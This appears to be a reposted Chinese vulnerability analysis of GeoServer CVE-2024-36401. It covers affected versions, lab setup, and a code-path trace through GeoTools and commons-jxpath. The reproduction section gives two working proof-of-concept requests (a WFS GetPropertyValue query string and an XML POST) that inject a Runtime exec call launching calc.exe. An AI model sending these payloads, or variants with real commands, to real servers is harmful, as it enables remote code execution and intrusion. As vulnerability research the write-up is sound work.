一、前言
官方公告:
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。
GeoServer:
< 2.23.6
>= 2.24.0, < 2.24.4
>= 2.25.0, < 2.25.2
二、环境搭建
源码下载:https://github.com/geoserver/geoserver/archive/refs/tags/2.23.5.zip
war下载:https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.5/geoserver-2.23.5-war.zip/download
启动 Tomcat,访问http://127.0.0.1:8080/geoserver/web,可以看到自带的图层数据,环境搭建成功。
三、漏洞复现
使用 GetPropertyValue 进行复现,POC:
service=wfs&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'calc.exe')
或者:
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/xml
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"calc.exe")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
四. 漏洞分析
这些操作在《WFS参考》文档中可以找到使用方法,本文复现使用的操作为 GetPropertyValue,作用如下:
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
在 parseRequestKVP() 方法中,从 request 中获取了参数键值对,保存为 GetPropertyValueTypeImpl 对象。
然后执行请求。
反射调用 getPropertyValue() 方法。
跳到 DefaultWebFeatureService20.getPropertyValue(),实例化了一个 GetPropertyValue 对象,接着调用 GetPropertyValue.run()。
跟进 FilterFactoryImpl.property(),实例化了一个 AttributeExpressionImpl 对象,将前端传入的 valueReference 参数值赋给了this.attPath。
propertyName和propertyNameNoIndexes都为 AttributeExpressionImpl 对象,调用 evaluate() 评估属性描述符,也就是评估这个 XPath 表达式,符合漏洞描述中所说的。
跟进,调用 PropertyAccessors.findPropertyAccessors(),遍历找到可以处理当前评估操作的 PropertyAccessor 对象,获取到 FeaturePropertyAccessorFactory,正是第二个漏洞公告中提到的利用方法。
然后调用 FeaturePropertyAccessorFactory.get(),传入this.attPath作为 XPath 表达式。this.attPath是前端传入的valueReference参数的值,也就是说这个位置的 XPath 表达式可控。
跟进,向context中注册了命名空间的名称及uri,然后迭代 XPath 指针。
编译表达式,调用 compute() 进行计算。
将this.args的计算转换后结果保存到parameters中,包含一个 Runtime对象和calc.exe字符串;
然后获取到exec()方法,调用该方法执行命令。
https://xz.aliyun.com/t/14991
https://y4tacker.github.io/2024/07/03/year/2024/7/%E6%B5%85%E6%9E%90GeoServer-property-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2024-36401/
原文始发于微信公众号(中孚安全技术研究):GeoServer 远程代码执行漏洞分析 (CVE-2024-36401)